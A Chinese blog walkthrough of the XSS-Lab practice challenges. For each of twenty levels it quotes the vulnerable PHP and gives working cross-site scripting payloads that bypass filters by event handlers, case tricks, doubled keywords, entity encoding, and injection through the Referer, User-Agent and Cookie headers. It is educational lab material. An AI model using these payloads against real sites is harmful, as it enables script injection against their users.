首页 > 其他分享 >XSS-Lab闯关笔记

XSS-Lab闯关笔记

时间:2023-06-19 21:04:35浏览次数:59  
标签:XSS keyword xss GET Lab alert str replace 闯关

XSS-Lab

  • level1
  • level2
  • level3
  • level4
  • level5
  • level6
  • level7
  • level8
  • level9
  • level10
  • level11
  • level12
  • level13
  • level14
  • level15
  • level16
  • level17
  • level18
  • level19
  • level20



level1

从源码中可以看到这里并没有对输入的name参数进行任何过滤就直接放入了<h2></h2>标签内

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(777)</script>

level2

XSS-Lab闯关笔记_html

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">

输入的内容被插入到了页面的两个地方,<h1></h2>内的$str已经被htmlspecialchars()转义成html实体,所以可以闭合<input>内的value的值插入on事件触发xss或者闭合<input>标签

m0c1nu7"><script>alert('xss')</script>
m0c1nu7" onclick=alert('xss')//

javascript常见事件

事件

描述

onclick

鼠标点击html元素时执行

onload

加载对象完成时执行

onfocus

元素获得焦点时执行

onsubmit

表单提交时执行

onmousemove

鼠标光标在元素上移动时执行

onselect

当元素被选择时执行

onkeydown

按下键盘按键时执行

onchange

HTML 元素改变时执行

level3

XSS-Lab闯关笔记_html_02

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>

输出点还是这两个,两个地方都是用了htmlspecialchars()转换html实体名称,但是htmlspecialchars()却对单引号'是没有作用的,因为单引号没有实体名称的,单引号只有实体编码/实体数字,而且这里的value=''使用单引号包裹的,所以闭合单引号,使用事件触发xss即可

' οnclick=alert('xss')//
1' onclick=alert(1)//

level4

XSS-Lab闯关笔记_xss-lab_03

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">

过滤了尖括号<>,不能闭合标签,但是在标签内可以使用事件触发xss

" οnclick=alert("xss")//
" onclick=alert(7)//

level5

XSS-Lab闯关笔记_HTTP_04

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">

过滤了on事件、<script,标签内的事件触发不太可能了,尝试闭合标签,因为这里没有过滤<>,使用<a href=""></a>标签和javascript伪协议

test"><a href="javascript:alert(1);">click me</a>
test"><a href="javascript:alert('xss');">click me</a>
test"><a href="javascript:alert(/xss/);">click me</a>

level6

XSS-Lab闯关笔记_xss挑战_05

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">

对传入的值没有做大小写统一转换,可以使用大小写绕过过滤

" Onclick=alert(7)//
mochu"><ScRiPt>alert('xss')</sCrIpT>
mochu"><a HrEf="javascript:alert(/xss/)">click me</a>

level7

XSS-Lab闯关笔记_xss-lab_06

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">

过滤机制是替换为空,可以双写字符绕过

" oonnclick=alert("xss")//
mochu"><scrscriptipt>alert("xss")</scrscriptipt>
mochu"><a hrhrefef="javascrscriptipt:alert(/xss/)">click me</a>

level8

XSS-Lab闯关笔记_HTTP_07

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

$str输出点被htmlspecialchars()转换了,而且这里value=""是双引号包裹,双引号会被转化为实体名称,所以第一个输出点没法利用,第二个<a href=""></a>的输出点替换了很多关键字符,但是可以是使用html实体编码绕过

html实体编码在线:https://www.qqxiuzi.cn/bianma/zifushiti.php

javascript:alert('xss');

javascript:alert('xss');

level9

XSS-Lab闯关笔记_php_08

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

value=""的输出点无法利用,<a>标签的输出点使用html实体编码绕过,然后加上前提条件:在输入的字符中含有http://

javascript:alert('http://')

level10

XSS-Lab闯关笔记_html_09

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

在页面中看只有keyword这一个回显点,但是从源码中看还有个t_sort的GET传参,并且type="hedden"需要触发XSS还需要把这个type改成button

click me" οnclick=alert("xss") type="button"

level11

XSS-Lab闯关笔记_php_10

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

keywordt_sort两个参数的输出点无法利用,从源码中看到有个请求头HTTP_REFERER插入到了页面中,并且过滤了尖括号<>,但是还是可以利用事件触发XSS

抓包,添加一个HTTP请求头的Referer:即可

Referer: click me" οnclick=alert("xss") type="button"

level12

XSS-Lab闯关笔记_html_11

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

三个可控制点,但是前两个都无法利用,请求头HTTP_USER_AGENT只过滤了尖括号<>就插入了页面中,抓包修改User-Agent:即可

User-Agent: click me" οnclick=alert("xss") type="button"

level13

XSS-Lab闯关笔记_xss挑战_12

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

Cookie可被控制,并且插入到页面内

Cookie: user=click me" οnclick=alert("xss") type="button"

level14

XSS-Lab闯关笔记_html_13


exif xss这关无法复现

level15

XSS-Lab闯关笔记_php_14


这里的ng-includeangularjs的用法,相当于phpinclude,可以包含html(php)文件,所以调用其他关卡即可

src='level1.php?name=<img src="" οnerrοr="alert(/xss/)">'

level16

XSS-Lab闯关笔记_html_15

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

过滤了/script空格,输出位置在<center></center>中,双标签无法使用,使用单标签<img>,并且使用%0a%0d作为分隔符代替空格

<img%0asrc="mochu7"%0aonerror="alert(7)">

level17

XSS-Lab闯关笔记_xss-lab_16

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

输出点直接插在标签内,可以直接插入事件,但是双引号被转换实体名称,然后再测试的过程中发现,空格就可以直接分隔属性,在事件前面加个空格就可以把事件分隔出来

onmousemove=alert(7)

level18

XSS-Lab闯关笔记_xss挑战_17

echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

和上一题一样

onmousemove=alert(7)

level19

XSS-Lab闯关笔记_xss挑战_18

echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';

flash xss 相关文章:
https://www.secpulse.com/archives/44299.htmlhttps://wizardforcel.gitbooks.io/xss-naxienian/content/14.html

?arg01=version&arg02=<a%20href="javascript:alert(7)">test</a>

level20

XSS-Lab闯关笔记_php_19

echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';

zeroclipboard xss相关文章:https://www.freebuf.com/sectool/108568.html

?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height


标签:XSS,keyword,xss,GET,Lab,alert,str,replace,闯关
From: https://blog.51cto.com/u_16159500/6517178

相关文章

  • 04导出项目依赖,首页推荐课程前端,git介绍安装,git,github,gitee,gitlab,git使用流程,常用命令
    补充-字段类:DateTimeField的属性: -auto_now_add:这个字段新增的时候,可以不传,会以当前时间存入 -这样写,配置文件中:USE_TZ=False写成true,和fasle的区别 -auto_now:更新这条记录,会把当前时间存入 -update更新-对象.属......
  • m基于无线传感网的无源定位技术matlab仿真研究
    1.算法仿真效果matlab2022a仿真结果如下:2.算法涉及理论知识概要无线传感器网络(WirelessSensorNetworks,WSNs)是一种分布式传感网络,嵌入了传感器的智能设备感测、通信、处理、收集数据,然后通过互联网将数据传输给监测者进行进一步分析,是通过无线通信方式形成的一个多跳自组织网......
  • 基于VGG16深度学习网络的目标识别matlab仿真,并结合ROC指标衡量识别性能
    1.算法仿真效果matlab2022a仿真结果如下:2.算法涉及理论知识概要根据卷积核大小和卷积层数,VGG共有6中配置,分别为A,A-LRN,B,C,D,E,其中D和E两种最为常用,即i我们所说的VGG16和VGG19。具体为:卷积-卷积-池化-卷积-卷积-池化-卷积-卷积-卷积-池化-卷积-卷积-卷积-池化-卷积-卷积-......
  • m基于无线传感网的无源定位技术matlab仿真研究
    1.算法仿真效果matlab2022a仿真结果如下:      2.算法涉及理论知识概要       无线传感器网络(WirelessSensorNetworks,WSNs)是一种分布式传感网络,嵌入了传感器的智能设备感测、通信、处理、收集数据,然后通过互联网将数据传输给监测者进行进一步分析,是通......
  • 基于VGG16深度学习网络的目标识别matlab仿真,并结合ROC指标衡量识别性能
    1.算法仿真效果matlab2022a仿真结果如下:   2.算法涉及理论知识概要         根据卷积核大小和卷积层数,VGG共有6中配置,分别为A,A-LRN,B,C,D,E,其中D和E两种最为常用,即i我们所说的VGG16和VGG19。 具体为: 1.卷积-卷积-池化-卷积-卷积-池化-卷积-卷积-卷积-......
  • QA||TypeError: ‘module‘ object is not callable报错怎么debugIHRM接口自动化测试
    unittest.py生成测试报告时执行报错:TypeError:‘module‘objectisnotcallable 代码如下 原因:结合pycharm自动标注和报错信息,分析出应该是HTMLTestRunner使用问题,结合网上查阅说是因为import的问题,所以基本问题定位到了HTMLTestRunner应该导入HTMLTestRunner.py中的HTML......
  • ShowMeBug与极狐(GitLab)战略合作,推动DevOps人才高效甄选
    近日,ShowMeBug与领先的开放式一体化安全DevOps平台提供商极狐(GitLab)达成深度合作协议,双方将致力于共同打造具有行业强认可度以及高实用性的DevOps岗位题型,助力企业通过更为专业、标准的技术笔试题型,提升DevOps岗位人才筛选效率。极狐GitLab是面向中国市场的开放式一体化安全Dev......
  • 什么时候选用OceanBase? OceanBase = transaction + scalability
    什么时候选择OceanBase?OceanBase能替代HBase,MongoDB吗?关于开源数据库OceanBase( http://oceanbase.taobao.org/ )的应用场景:如果你不需要事务(transaction),MongoDB等是不错的选择,如果你的数据量很大,HBase也是不错的选择;如果你需要事务(transaction),并且数据量不大,或者你可以......
  • 基于LSTM深度学习网络的疾病发作检测算法matlab仿真
    1.算法仿真效果matlab2022a仿真结果如下:2.算法涉及理论知识概要长短期记忆网络(LSTM,LongShort-TermMemory)是一种时间循环神经网络,是为了解决一般的RNN(循环神经网络)存在的长期依赖问题而专门设计出来的,所有的RNN都具有一种重复神经网络模块的链式形式。在标准RNN中,这个重复的结......
  • 跳频通信系统误码率matlab仿真,输出误码率
    1.算法仿真效果matlab2022a仿真结果如下:2.算法涉及理论知识概要跳频是最常用的扩频方式之一,其工作原理是指收发双方传输信号的载波频率按照预定规律进行离散变化的通信方式,也就是说,通信中使用的载波频率受伪随机变化码的控制而随机跳变。从通信技术的实现方式来说,“跳频”是一......